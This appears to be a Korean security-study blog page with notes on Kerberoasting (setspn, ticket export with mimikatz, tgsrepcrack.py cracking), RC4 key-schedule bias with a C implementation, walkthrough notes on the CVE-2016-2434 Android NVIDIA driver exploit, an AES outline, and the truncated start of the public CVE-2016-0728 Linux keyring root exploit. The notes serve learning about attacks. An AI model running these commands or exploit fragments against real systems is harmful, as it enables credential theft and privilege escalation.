KC's blog

A blogging framework for hackers.

Attacking Microsoft KerberosKicking the Guide Dog of Hades

Tim Medin 의 talk.

1
2
3
4
5
6
7
PS> setspn -T medin.local -F -Q */*
PS> Add-Type -AssemblyName System.IdentityModel
PS> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"

mimikatz # kerberos::list /export

$ tgsrepcrack.py wordlist.txt *.kirbi

RC4 Weakness

256 바이트의 퍼뮤테이션 테이블을 가지고 움직인다.

  • key 를 장착하는 단계.
  • 그리고 p-table 을 바꿔가면서 keystream 을 만들어 XOR 하는 암복호화하는 단계.

RC4 공격 역사를 정리해보면, state 테이블의 처음 몇 바이트가 key 와 상관도가 높다는 포스팅이 sci.crypt 에 올라온게 처음인 것 같다.

state 의 첫 몇 바이트는 state[n] == sum_0_to_nth_bytes(key) + n*(n+1)/2 일 가능성이 37% 에 달한다고 Andrew Roos 가 포스팅함.

1
2
3
4
5
6
7
8
for (x=0;x<256;x++) state->perm[x] = x;

for (x=0;x<256;
    x++,
    k = (k+1) % keylen) {
    y += state->perm[x] + key[k];
    swap_bytes(&state->perm[x], &state->perm[y]);
}

여기서 만약, state->perm[x]x 고, state->perm[y]y 라면? 위의 코드가 아래와 같이 단순해진다. state[n] 은 n 으로 초기화되고 나서, key 에 따라서 swap 되는 과정을 거치는데, 한번도 swap 안되고 초기화된 n 으로 남아있는 경우. 즉 x=n 이라고 할 때, 0..n-1 까지 iteration 에서 한번도 y 로 addressing 된 적이 없어야 한다. 초기 몇바이트의 경우 이럴 가능성이 상당히 있을 것이라 직관적으로도 알 수 있다.

1
2
3
4
5
6
7
for (x=0;x<256;
    x++,
    k = (k+1) % keylen) {
    y += x + key[k];
    state->perm[x] = y;
    state->perm[y] = x;
}

이걸 loop 를 풀면, state->perm[x] = sum_0_to_xth_bytes(key) + x*(x+1)/2 가 된다.

그래서, 실제로 random 으로 80-bit key 를 만들어서 state 를 그 key 로 init 하고나서 저 공식으로 구한 값과 같은가 다른가를 비교하는 시뮬레이션을 십만번을 돌렸더니, state 의 0th~7th 바이트는 약 32~37% 가 저 공식의 값과 같았다고. 즉 의미있는 확률로 state 의 첫부분이 key 가 correlate 되있다는 것.

그 다음에 Paul, Rathi, Maitra 가 논문을 publish.

rc4.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <sys/types.h>
#include <stdio.h>
#include <string.h>

struct rc4_state {
    u_char perm[256];
    u_char x;
    u_char y;
};

static __inline void swap_bytes(u_char *a, u_char *b)
{
    u_char temp;
    temp = *a;
    *a = *b;
    *b = temp;
}

void rc4_init(struct rc4_state *const state,
                const u_char *key,
                int keylen)
{
    int x;
    state->x = 0;
    state->y = 0;
    for (x=0;x<256;x++) state->perm[x] = (u_char)x;

    u_char k = 0;
    u_char y = 0;

    for (x=0;x<256;
            x++,
            k = (k+1) % keylen) {
        y += state->perm[x] + key[k];
        swap_bytes(&state->perm[x], &state->perm[y]);
    }
}
void
rc4_crypt(struct rc4_state *const state,
            const u_char *inbuf,
            u_char *outbuf,
            int buflen)
{
    int i;
    u_char j;

    for (i=0;i<buflen;i++) {
        state->x++;
        state->y += state->perm[state->x];

        swap_bytes(&state->perm[state->x], &state->perm[state->y]);
        j = state->perm[state->x] + state->perm[state->y];
        outbuf[i] = inbuf[i] ^ state->perm[j];
    }
}
int main()
{
    struct rc4_state st;
    u_char inbuf[256] = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a";
    u_char outbuf[256];
    int len = 10;

    rc4_init(&st, (const u_char*)"\x00\x00\x00\x00\x00\x00", 6);
    rc4_crypt(&st, inbuf, outbuf, len);
    do {
        int i;
        for (i=0;i<len;i++)
            printf("%02X ", inbuf[i]);
        printf("\n");
    } while(0);
    do {
        int i;
        for (i=0;i<len;i++)
            printf("%02X ", outbuf[i]);
        printf("\n");
    } while(0);

    rc4_init(&st, (const u_char*)"\x00\x00\x00\x00\x00\x00", 6);
    memset(inbuf, 0, 256);
    rc4_crypt(&st, outbuf, inbuf, len);
    do {
        int i;
        for (i=0;i<len;i++)
            printf("%02X ", inbuf[i]);
        printf("\n");
    } while(0);
    return 0;
}

CVE-2016-2434

“The NVIDIA video driver in Android before 2016-05-01 on Nexus 9 devices allows attackers to gain privileges via a crafted application, aka internal bug 27251090.”

1
prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0);

prctl() 라는 콜도 처음 알았고, 이걸로 process 이름을 바꿀 수 있는지도 처음 알았다. 나중에 task structure 를 뒤질때, marker 로서 활용하는 듯 하다.

get_root() 라는 함수를 콜하고 나서, setresuid() & setresgid() 를 호출.

그럼 get_root() 함수를 보자.

map_nvmap_handle() 을 호출하는데, 이 함수가 하는 일은.

/dev/nvmap 을 연다. GPU 메모리 관리 드라이버인듯. drivers/video/tegra/nvmap/ 에 소스가 있다.

1
2
3
4
static int map_nvmap_handle(unsigned int *handle)
{

}

디바이스를 연다음에, nvmap_create_handle 이라는 구조체를 셋업한다.

1
2
3
4
5
6
7
8
struct nvmap_create_handle {
  union {
      __u32 id;
      __u32 size;
      __s32 fd;
  };
  __u32 handle;
};

nvmap_arg.size = 0x10000; 으로 세팅해서 /dev/nvmapioctl(fd, NVMAP_IOC_CREATE, &nvmap_arg) 을 한다.

이 ioctl() 의 리턴값이 nvmap_arg.handle 에 실리는 모양.

AES in Python

AES 알고리즘을 Python 으로 구현해본다.

일단 block 사이즈는 128 비트인데, key 사이즈는 여러개가 될 수 있다. key 사이즈에 따라서 round 갯수가 결정된다.

key 사이즈는 128 bit 로 정하고 구현한다.

  • 128 bit 키가 44 words (word 는 4 바이트) 로 확장된다. (키 스케쥴)
  • 한 라운드가 키스케쥴에서 4 words (그러니까 16 바이트)의 키를 사용한다.
  • 라운드는 10 라운드가 있다.

  • 처음 w_0 ~ w_3 을 사용해서 “Add round key” 를 수행

  • 그리고 Round 1 ~ Round 10 수행

  • 초기 셋업인, “Add round Key” 는 4x4 state 매트릭스 와 w_0 ~ w_3 을 xor 한다.

  • 각각의 라운드는 SubBytes, ShiftRows, MixColumns, AddRoundKey 로 구성된다.
  • 마지막 라운드는 MixColumns 가 없다.

CVE-2016-0728

PerceptionPointTeam/cve_2016_0728.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <stdlib.H>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)

struct key_type {
  char * name;
  size_t datalen;
  void * vet_description;
  void * preparse;
  void * free_preparse;
  void * instantiate;
  void * update;
  void * match_preparse;
  void * match_free;
  void * revoke;
  void * destroy;
};

void userspace_revoke(void * key) {
  commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
  const char *keyring_name;
  size_t i = 0;
  unsigned long int l = 0x100000000/2;
  key_serial_t serial = -1;
  pid_t pid = -1;
  struct key_type * my_key_type = NULL;

  struct {
      long mtype;
      char mtext[STRUCT_LEN];
  } msg = { 0x4141414141414141, {0} };
  int msqid;
  
  if (argc != 2) {
      puts("usage: ./keys <key_name>");
      return 1;
  }
}